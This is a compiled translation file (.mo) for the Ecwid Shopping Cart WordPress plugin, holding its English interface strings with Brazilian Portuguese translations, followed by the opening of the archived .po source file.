e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won’t have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#secureplugin">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit Appearance�Edit Store�Enable minicart attached to categories�Enable the new category menu�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Features�First Page�Forums�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Free registration, No credit card required�Frequently Asked Questions�Get %s mobile app�Get Started, Create Ecwid Account�Get ready to sell online�Global Reach�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu.�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I have a problem with my %s store�Insert�Insert into page�Integration with search on your site <sup>beta</sup>�Is it possible to display my store on the site home page?�Join the Ecwid community. Discuss support topics and store ideas with other Ecwid users.�Last Page�Last update�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Manage Store on iPhone, iPad or Android�Manage Your Ecwid Store�Manage my store�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�More than 800,000 merchants in 175 countries�My Account�Name�Never show this message again�Next Page�Next page�No credit card required�Not synchronized yet�Note: the new URLs will be automatically enabled for every store in one of upcoming updates so please make sure to check how the new URLs work in your store and <a %s>let us know</a> if you face any trouble with them�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�Open %s store settings�Open control panel�Open store dashboard�Options�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�Orders�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="https://www.ecwid.com/pricing">pricing page.</a><br /><br />Free - Up to 10 products<br />Venture - $15/month<br />Business - $35/month<br />Unlimited - $99/month<br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Over 1 million merchants in 175 countries�PCI DSS Certified�Picture�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Please note this functionality is in beta. So if you run into difficulties or find problems with it, please <a %s>let us know</a>.�Please subscribe to a paid plan to get this feature.�Plugin is installed successfully!�Position�Preparing your store dashboard�Previous Page�Price�Product Search�Product catalog will be shown automatically�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %s out of %s�Provide access.�Quantity�Questions?�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Read FAQ�Recently Viewed Products�Recommendations for Your Online Store�Refresh categories list�Register�Register at Ecwid for free�Report a problem with the store�Responsive design�SEO friendly clean URLs�SKU�Sales�Save and connect�Save changes�Search�Search the Knowledge Base�Secure checkout with over 40<br />payment options�See more�Select All�Sell Everywhere<br>with your %s store�Sell Everywhere<br>with your Ecwid store�Send Message�Send a message to our support team�Send message failed�Set up %s Store�Settings�Setup�Shop�Shopping Cart�Shopping Cart (Floating)�Shopping Cart (Mini)�Show categories�Show minicart�Show price inside the "Buy now" button�Show search�Single Sign-On allows your customers to have a single login for your WordPress site and your %s store. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Start selling�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store ID�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel: open the <a %2$s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Store Link Title�Store Page�Store Page Link�Store Root Categories�Store elements�Store is created�Store root category�Store with Categories Menu�Subject�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Technical Reference�Text�Thank you for choosing %s to build your online store. The first step to sell successfully online is to setup your store! Let’s get started and add a store to your website in a few simple steps.�The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the "Show categories" option)�The store top-level categories are automatically added to this drop-down menu�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�This enables new clean URLs format in your store. The new urls do not contain hash sign ('#'), so they look nicer and are better indexed by Google.�This will change the label of the module in the builder for easy identification.�Title�Title or SKU�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To enable clean URLs in your store, you will need to enable pretty permalinks in your WordPress site settings. Navigate to <a%s>Settings->Permalink</a> and enable the "Post name" permalink type.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Howtoembedasingleproductonapageorpostofmysite">How to use it.</a>�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�Top right�Try another search.�Type in your message here�Update�Updated %s widgets are available for your %s store. They are more mobile friendly and look better. Please enable them on the plugin settings page and check how they work in your store. The new widgets will be enabled automatically for all users in one of the upcoming plugin versions.�Upgrade to get this feature�Use %s's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Visit storefront�Want to connect another %s store?�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Welcome to %s!�Where to find your Store ID:�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Sidebar%%20widgets">More details.</a>�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#How%20to%20add%20my%20store%20to%20Facebook">More details.</a>�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can send a new request here.�You have not viewed any product yet. Open store.�You should disable this option, if you added minicart to your website's sidebar�You will be asked to log in to your %s Control Panel<br />and give permissions to show your store on this site�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your email has been sent�Your store Control Panel. Right here in WordPress.�Your store is almost ready!�Your store looks perfect<br />on all devices�Your store will be shown here!�Your storefront is ready�customize appearance�http://www.ecwid.com?source=wporg�https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-�https://support.ecwid.com/hc/en-us/requests/new�https://support.ecwid.com/hc/en-us/search�https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference�https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics�https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions�https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store�https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store�https://www.ecwid.com/forums�select product�upgrade widgets messageCategories�«Add to bag» button�MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2.1 Project-Id-Version: WP Ecwid Language: pt_BR POT-Creation-Date: PO-Revision-Date: Last-Translator: Language-Team: � Muito obrigado por entrar em contato conosco! Entraremos em contato com você em breve.�Carrinho de Compras %s�Carrinho de Compras %s - Configurações avançadas�Carrinho de Compras %s - Configurações de aparência�Loja %s�%s é compatível com o seu tema "%s" WordPress e fora da caixa.�O plugin %s não funciona bem com meu tema "%s"�Configurações de carrinho de compras %s�%s armazena seus dados de produtos em um armazenamento seguro em nuvem. As páginas do produto são exibidas instantaneamente quando um cliente navega em sua loja. Assim, basicamente, os produtos não são armazenados no site, é por isso que a pesquisa no site não encontra páginas de produtos enquanto olha através de páginas e posts do site. Esta opção permite um modo de armazenamento local: os produtos serão armazenados tanto na nuvem como no seu site. Os resultados de pesquisa do site irão listar páginas de produtos, bem como páginas / postagens normais do seu site.�<a %s>Online store powered by %s</a>�<a %s>Reconectar</a>�Adicionar Produto�Adicionar Loja�Adicionar borda�Adicionar ao menu�Adicione sua loja Ecwid a seu site <nobr>em dois cliques</nobr>�Além disso, você pode adicionar controles da loja à barra de ferramentas do seu site usando <a %s> widgets nativos do WordPress</a>�Adiciona um widget de carrinho para que o cliente veja os produtos que adicionaram ao carrinho.�Adiciona um widget de carrinho compacto para que o cliente veja os produtos que adicionaram ao carrinho.�Adiciona um widget de carrinho de compras ao canto superior direito do seu site.�Adiciona a lista de categorias raiz à barra lateral para permitir que seus clientes naveguem pela loja.�Adiciona bloco de categorias verticais para permitir que o cliente navegue em sua loja.�Administração�Avançado�Configurações avançadas�Já possui uma conta em %s?�Já possui uma conta Ecwid?�Aparência�Configurações de aparência�Ajuste automático do design da sua loja para o seu tema WordPress. Seja qual for o tema do WordPress que você usa, o %s detectará cores predominantes e a fonte e usará em seu catálogo de produtos.�Voltar para as configurações da loja�Questões sobre faturamento�Canto inferior direito�Procurar todos os produtos.�Navegar por Categoria�Por padrão, o front da loja mostra uma lista de categorias raiz. Você pode substituir esse comportamento e mostrar uma categoria diferente quando os clientes abrem sua loja pela primeira vez. Isso é útil se você tiver apenas uma categoria ou desejar exibir um conjunto específico de itens (por exemplo, "Produtos em destaque") para novos visitantes.�Classe CSS�ID CSS�Carrinho�Categoria exibida por padrão�Alinhar ao centro em uma página�Opção Camaleão�Selecionar produto�Selecione as propriedades do produto para exibir no widget�Escolher widgets para exibir�Compatível com seu tema�Configuração Completa�Configuração completa e inicie a vender�Parabéns!�Conectar�Conecte sua loja Ecwid a este site <nobr>em dois cliques</ nobr>�Conectar sua loja�Contectar sua loja ao site WordPress�Conecte sua loja a este site�Conecte sua loja <br /> a este site do WordPress�Erro de conexão - depois de clicar no botão você precisa fazer login e aceitar permissões para usar o nosso plugin. Por favor, tente novamente.�Erro de conexão: clique novamente no botão e dê permissões para este plugin <br /> para exibir sua loja %s neste site.�Erro de conexão: clique no botão novamente e dê permissões para este plugin <br /> mostrar sua loja Ecwid neste site.�Entre em contato conosco�Conteúdo�Criar loja Ecwid�Criar Loja %s Grátis�Cria uma conta grátis no Ecwid para gerencia sua loja e inventário.<br />Não é necessário cartão de crédito�Criando a loja�Página atual�Single Sign-On de Cliente�Personalize sua loja�Customizar widget�Dashboard�Modo de exibição padrão nas páginas do produto�Modo de exibição padrão nos resultados de pesquisa�Loja Demo�Loja demo�Desconectar loja�Mostrar categorias acima dos produtos�Mostrar caixa de pesquisa acima dos produtos�Exibe um link para a página da loja na barra lateral para que o cliente acesse rapidamente sua loja a partir de qualquer página no site.�Exibe uma lista de produtos vistos recentemente pelo cliente para retornar facilmente aos produtos que viram na sua loja.�Exibe uma caixa de pesquisa simples para seus clientes encontrarem um produto em sua loja�Você gosta de Ecwid e quer ajudá-lo a crescer? Você pode adicionar este emblema 'Powered by Ecwid' em seu site para mostrar aos seus visitantes que você é um usuário orgulhoso de Ecwid.�Gostou de sua loja %s? Agradeceríamos se você adicionasse seu comentário e votasse em nosso plugin no site do WordPress.�Não possui uma conta em %s? Faça o cadastro agora.�Não possui uma conta Ecwid?�Feito�Download arquivo de log�Por exemplo. Como configurar o envio�Ecwid�Emblema Ecwid�Ecwid Basics�Item de menu Ecwid�Equipe Ecwid�Widgets de e-commerce Ecwid�Solução de e-commerce Ecwid� Carrinho de compras grátis Ecwid�Ecwid possui certificado PCI DSS nível 1, que é o padrão ouro para soluções de e-commerce em todo o mundo. Isso significa que você não terá problemas de conformidade bancária ao vender on-line com esta plataforma. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#secureplugin"> Mais detalhes. </a>�O Ecwid é um carrinho de compras completo e gratuito. Pode ser facilmente integrado com qualquer blog WordPress e leva menos de 5 minutos para configurar.�Ecwid é compatível com o seu tema "%s" WordPress <br>.�O Ecwid fornece aplicativos gratuitos para iOS e Android para gerenciar sua loja e vender em qualquer lugar. Digitalize produtos, acompanhe o estoque, gerencie as vendas e aceite pagamentos usando seu dispositivo móvel como uma estação de Ponto de Venda. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Mais detalhes.</a>�Carrinho de compras Ecwid�Widget do carrinho de compras Ecwid�Editar Aparência�Editar Loja�Habilitar mini carrinho para as categorias�Habilitar o novo menu de categorias�Informe uma ID CSS opcional para ser usado para este módulo. Um ID pode ser usado para criar estilo CSS personalizado, ou criar links para seções particulares de sua página.�Informe as classes CSS opcionais a serem usadas para este módulo. Uma classe CSS pode ser usada para criar estilo CSS personalizado. Você pode adicionar várias classes, separadas por um espaço.�Informe o ID de sua loja�Recursos�Primeira Página�Fóruns�Grátis e sempre atualizado�Plano gratuito sempre disponível com toneladas de recursos<br> sem custo adicional. As atualizações são integradas, automáticas<br>e gratuitas.�Cadastro gratuito, não é necessário cartão de crédito�Perguntas Frequentes�Baixe o aplicativo %s�Comece, Crie sua Conta Ecwid�Prepare-se para vender online�Alcance Global�Saudações!�Saudações! Seu plugin %s está ativo.�Grid�Visão de grid�Ajuda�Aqui você pode controlar quantos produtos serão exibidos por página. Essas opções definem valores máximos. Se não houver espaço suficiente para mostrar todas as colunas do produto,%s adaptará o número de colunas para armazenar todos os produtos.�Aqui você pode criar o conteúdo que será usado dentro do módulo.�Como posso adicionar um widget de carrinho à barra lateral do meu site?�Como posso gerenciar a minha loja a partir de um dispositivo móvel?�Como podemos ajudá-lo?�Como faço para adicionar categorias de loja para o menu do site.�Como faço para colocar meus produtos no sitemap?�Quanto custa Ecwid?�Quão seguro é esse plugin? A minha loja é compatível com PCI DSS?�Como adicionar um único produto com o botão "Adicionar ao carrinho" para as páginas do site?�Como configurar uma loja no Facebook com Ecwid?�Tenho um problema com minha loja %s�Inserir�Inserir na página�Integração com a pesquisa em seu site <sup>beta</sup>�É possível exibir minha loja na página inicial do site?�Participe da comunidade Ecwid. Discuta tópicos de suporte e ideias para lojas com outros usuários Ecwid.�Última Página�Última atualização�Lista�Visão de lista�Parece que seu site não oferece suporte a solicitações remotas POST que são necessárias para que a API do %s funcione. Entre em contato com o provedor de hospedagem para ativar cURL.�Gerencia a loja no iPhone, iPad ou Android�Gerencie Sua Loja Ecwid�Gerenciar minha loja�Gerenciar produtos, controlar vendas, ajustar configurações - <nobr>Tudo sem </nobr> sair desta página.�Mais de 800.000 comerciantes em 175 países�Minha Conta�Nome�Nunca mostrar esta mensagem novamente�Próxima Página�Próxima página�Não é necessário cartão de crédito�Não sincronizado ainda�Nota: as novas URLs serão ativadas automaticamente para cada loja em uma das próximas atualizações. Por favor, verifique se as novas URLs funcionam em sua loja e <a% s> nos avise </a> se tiver problemas com elas.�Nada encontrado para<span class="empty-page__term">"{{ data.term }}"</span>�Número de categorias por linha�Número de categorias por página�Número de produtos para exibir�Abrir as configurações da loja %s�Abrir painel de controle�Abrir dashboard da loja�Opções�Ou você pode adicionar a caixa de pesquisa à barra de ferramentas do seu site usando <a href="%s">widgets nativos do WordPress </a>�Ou você pode adicionar categorias verticais à barra de ferramentas do seu site usando <a href="%s">widgets nativos do WordPress</a>�Pedidos�Nossos 4 tipos de conta variam de acordo com o número de produtos, tipos de funcionalidade e níveis de suporte. Para obter mais informações, consulte nossa <a target="_blank" href="https://www.ecwid.com/pricing"> página de preços. </a> <br /> <br /> Grátis - Até 10 Produtos <br /> Venture - $ 15 / month <br /> Negócio - $ 35 / month <br /> Ilimitado - $ 99 / month <br /> Pro Dica: Você pode ter vantagens nos valores com nossos planos anuais .�Nossa equipe já está trabalhando nesta questão. Atualize a página em alguns minutos. Se o problema persistir, entre em contato com <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nossa equipe de suporte ao cliente </a>.�Mais de 1 milhão de comerciantes em 175 países�Certificado PCI DSS�Imagem�Atenção: Observe que esta funcionalidade está em versão beta. Portanto, se enfrentar dificuldades ou encontrar problemas com o Camaleão, <a% s> deixe-nos saber </a>�Observe que esta funcionalidade está em versão beta. Portanto, se você tiver dificuldades ou encontrar problemas com a funcionalidade, <a %s>informe-nos</a>.�Assine um plano pago para obter esse recurso.�O plugin foi instalado com sucesso!�Posição�Preparando o painel de controle da loja�Página Anterior�Preço�Pesquisa de Produto�O catálogo de produtos será exibido automaticamente�Produtos�Os produtos foram sincronizados com êxito. As páginas do produto estão atualizadas.�Produtos sincronizados: %s de %s�Liberar acesso.�Quantidade�Dúvidas?�Avalie %s no WordPress.org�Reconecte-se para habilitar o Painel de Controle�Leia a FAQ�Produtos vistos recentemente�Recomendações para sua loja online�Atualizar lista de categorias�Cadastre-se�Cadastre-se grátis em Ecwid�Reportar um problema com minha loja�Design responsivo�SEO URLs amigáveis limpas�SKU�Vendas�Salvar e conectar�Salvar alterações�Pesquisar�Pesquisar na Base de Conhecimento�Checkout seguro com mais de 40 <br /> opções de pagamento�Veja mais�Selecionar tudo�Venda em todos os lugares<br> com sua loja %s�Venda em todos os lugares<br>com sua loja Ecwid�Enviar mensagem�Envie uma mensagem para nossa equipe de suporte�Falha ao enviar a mensagem�Configurar a Loja %s�Configurações�Instalação�Loja�Carrinho de Compras�Carrinho de compras (flutuante)�Carrinho de compras (mini)�Mostrar categorias�Mostrar mini carrinho�Mostrar preço dentro do botão "Comprar agora"�Mostrar pesquisa�O Single Sign-On permite que seus clientes tenham um login único para seu site WordPress e sua loja %s. Quando alguém fizer logon em seu site, ele será automaticamente conectado à sua conta de cliente em sua loja, sem necessidade de digitar seu e-mail / senha novamente.�Desculpe, estamos tendo dificuldades técnicas.�Desculpe, parece que há um problema. Esta página deve exibir o Painel de Controle da sua loja. No entanto, este site do Wordpress não parece ser capaz de se conectar ao servidor para mostrar o painel aqui. Isso provavelmente é causado por uma configuração incorreta do servidor e pode ser corrigido pelo seu provedor de hospedagem. Aqui está uma descrição mais técnica do problema, que você pode enviar para o seu provedor de hospedagem: "A função wp_remote_post () do Wordpress não conseguiu conectar um servidor remoto por causa de algum erro:"% s ". Parece que as solicitações HTTP POST estão desativadas neste servidor ". <br /> <br /> Sinta-se à vontade para entrar em contato conosco em <a% s> wordpress@ecwid.com </a> e nós ajudaremos a fazer contato com sua hospedagem e pedir-lhes para corrigir o problema. <br /> <br /> Enquanto isso, para gerenciar sua loja, você pode usar o Web Control Panel em <a% s> my.ecwid.com </a>. A página inicial da loja está funcional e você pode verificá-la aqui: <a% s>% s </a>.�Comece a vender�Comece a vender <br>no seu site WordPress <nobr>gratuitamente</nobr>�Comece a vender no seu site WordPress. Em seguida, replique sua loja em sua página do Facebook, blog e mercados como Google Shopping, Yahoo e Shopping.com.�Ainda tem dúvidas sobre o Ecwid? Nos informe!�Loja�Categorias da Loja�ID da loja�O ID da loja é um identificador exclusivo de sua conta %1$s. Você pode encontrá-lo no painel de controle de %1$s: abra a página <a %2$s> Dashboard </a> e localize o texto "<b> ID da loja: NNNNNNN </ b>", em que <b> NNNNNNN </ b> é o ID de sua loja.�Título do Link da Loja�Página da loja�Link da página da loja�Categorias raiz da loja�Elementos da loja�Loja está criada�Categoria raíz da loja�Loja com Menu de Categorias�Assunto�Sincronizar produtos�Tabela�Visão de tabela�Execute algumas etapas simples para concluir a configuração da loja�Referência técnica�Texto�Obrigado por ter escolhido %s para construir sua loja online. O primeiro passo para vender online com sucesso é configurar a sua loja! Vamos começar e adicionar uma loja para o seu site em algumas etapas simples.�O novo menu de categorias parece melhor e é mais responsivo. Se ainda não tiver adicionado o menu de categoria à sua página da loja, pode fazê-lo no <a% s> editor de páginas da loja </a> (active a opção "Mostrar categorias")�As categorias de nível superior da loja são automaticamente adicionadas a este menu suspenso�Você está próximo de começar a vender <br /> no seu site WordPress�Faltam apenas alguns passos para começar a vender <br /> no seu site WordPress�Isso possibilita o novo formato de URLs limpas em sua loja. As novas URLs não contêm sinal de hash ('#'), então ficam mais bonitas e são melhor indexadas pelo Google.�Isto alterará o rótulo do módulo no construtor para fácil identificação.�Título�Título ou SKU�Título:�Para adicionar funções extras à sua loja, arraste e solte elementos da loja% s no seu site. Quando terminar, pode voltar a modificar as suas definições.�Para permitir que %s inicie sessão automática de seus clientes em sua loja, forneça-lhe permissão para utilizar os dados de cliente em sua loja. <a %s>Utilize este link</a>�Para escolher um produto que deseja inserir em suas postagens e páginas, você precisará reconectar seu site à sua loja %s. Isso somente irá requerer que você aceite o pedido de permissões - liberando o plugin para listar seus produtos na caixa de diálogo "Adicionar produto".�Para criar sitemap para seu site Wordpress, sugerimos usar <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/"> Google Sitemaps XML </a> ou <a target = "_blank" href = "https://wordpress.org/plugins/wordpress-seo/"> Yoast Wordpress SEO </a>. & Nbsp; plugins. Estes plugins são totalmente compatíveis com o Ecwid e permitem gerar um sitemap que terá links para categorias e páginas de produtos, para que as páginas da loja sejam indexadas mais rapidamente. Saiba que esta opção está disponível para <a target="_blank" href="https://www.ecwid.com/pricing"> usuários pagos do Ecwid </a>�Para ativar URLs amigáveis em sua loja, você precisará habilitar permalinks amigáveis em suas configurações de site do WordPress. Navegue até <a %s> Configurações-> Link permanente </a> e ative o tipo de permalink "Post name".�Para ativar esse recurso, o plugin precisa de uma permissão para ler as informações do produto da loja.�Para apresentar um único produto em uma página separada ou postagem no blog do seu site, use <short code> <b> [ecwid_product] </ b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Howtoembedasingleproductonapageorpostofmysite"> Como usá-lo. </a>�Para se certificar de que o seu cliente pode realmente efetuar login em seu site e em sua loja, ative o cadastro nas <a %s>configurações do site</a>�Para vender usando %1$s, você deve permitir que o WordPress acesse o plugin %1$s. O botão Conectar irá direcioná-lo para sua conta %1$s onde você pode fornecer a permissão.�Canto superior direito�Tentar outra pesquisa.�Digite sua mensagem aqui�Atualizar�Os widgets% s atualizados estão disponíveis para sua loja% s. Eles são mais amigáveis e mais atraentes. Ative-os na página de configurações do plug-in e veja como eles funcionam em sua loja. Os novos widgets serão ativados automaticamente para todos os usuários em uma das próximas versões de plug-in.�Faça upgrade para obter esse recurso�Use a opção mobile-POS da %s para passar os cartões de crédito e vender em qualquer lugar. Suas encomendas e estoque estão sempre sincronizados com sua loja on-line.�Use o Mobile-POS da Ecwid para aceitar cartões de crédito e vender em qualquer lugar. Suas encomendas e estoques estão sempre sincronizados com sua loja on-line.�Visitar a loja�Deseja conectar à outra loja %s?�Estamos sincronizando seus produtos. Isso pode levar alguns minutos. Não recarregue a página.�Bem-vindo a %s!�Onde encontrar o ID de sua loja:�Você pode adicionar a caixa de pesquisa do produto, o widget do carrinho e muito mais na página <a href="%s"> "Aparência / Widgets" </a> neste administrador do site. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Sidebar%%20widgets"> Mais detalhes. </a>�Você pode adicionar o menu de categorias de sua loja ao menu do seu site para ajudar seus clientes a navegar facilmente no seu site. Basta abrir "Aparência > Menus" no painel de controle do WordPress e adicione o item "Loja com menu de categorias" no menu do seu site. Um menu suspenso que contém suas categorias de loja aparecerá automaticamente em seu site.�Você pode adicionar sua loja on-line à sua página de negócios do Facebook. Nenhum addon é necessário. Ecwid sincronizará automaticamente produtos, clientes, encomendas e estoques entre as suas lojas do WordPress e do Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#How%20to%20add%20my%20store%20to%20Facebook"> Mais detalhes. </a>�Você pode exibir sua loja na página principal do site. Ajuste as configurações de "Leitura" do seu site, conforme descrito em <a target = "_ blank" href = "https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage" > Central de Ajuda. </a>�Você pode enviar um novo pedido aqui.�Você ainda não viu nenhum produto. Abra a loja.�Você deve desativar esta opção, se adicionou mini carrinho à barra lateral de seu site�Você será solicitado a efetuar login no seu Painel de Controle de %s <br /> e dar permissões para exibir sua loja neste site�Será solicitado o seu login no seu Painel de Controle Ecwid <br /> para liberar as permissões e para que sua loja seja exposta neste site�Sua loja %s está conectada <br /> a seu site WordPress�Sua loja %s agora está conectada <br /> a seu site WordPress�Seu e-mail foi enviado com sucesso�Painel de controle da sua loja. Aqui no WordPress.�Sua loja está quase pronta!�Sua loja parece perfeita <br /> em todos os dispositivos�Sua loja será exibida aqui!�Sua loja está pronta�Customizar aparência�http://www.ecwid.com?source=wporg�https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-�https://support.ecwid.com/hc/en-us/requests/new�https://support.ecwid.com/hc/en-us/search�https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference�https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics�https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions�https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store�https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store�https://www.ecwid.com/forums�selecionar produto�Categorias�Botão «Adicionar ao carrinho»�PK������Ê—[kþÀmñ��ñ��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-pt_BR.ponu�„[µü¤��������msgid "" msgstr "" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: POEditor.com\n" "Project-Id-Version: WP Ecwid\n" "Language: pt-br\n" #: ecwid-shopping-cart.php:748 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "O plugin %s não funciona bem com meu tema \"%s\"" #: ecwid-shopping-cart.php:763 msgid "I have a problem with my %s store" msgstr "Tenho um problema com minha loja %s" #: ecwid-shopping-cart.php:791 templates/dashboard.php:44 msgid "Visit storefront" msgstr "Visitar a loja" #: ecwid-shopping-cart.php:799 msgid "Manage my store" msgstr "Gerenciar minha loja" #: ecwid-shopping-cart.php:807 msgid "Read FAQ" msgstr "Leia a FAQ" #: ecwid-shopping-cart.php:809 msgid "https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-" msgstr "https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-" #: ecwid-shopping-cart.php:818 msgid "Report a problem with the store" msgstr "Reportar um problema com minha loja" #: ecwid-shopping-cart.php:1119 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Online store powered by %s</a>" #: ecwid-shopping-cart.php:1440 includes/class-ecwid-nav-menus.php:111 #: includes/class-ecwid-nav-menus.php:297 #: includes/class-ecwid-nav-menus.php:300 #: includes/class-ecwid-nav-menus.php:308 msgid "Store" msgstr "Loja" #: ecwid-shopping-cart.php:1684 includes/class-ecwid-admin.php:31 msgid "Setup" msgstr "Instalação" #: ecwid-shopping-cart.php:1684 msgid "Settings" msgstr 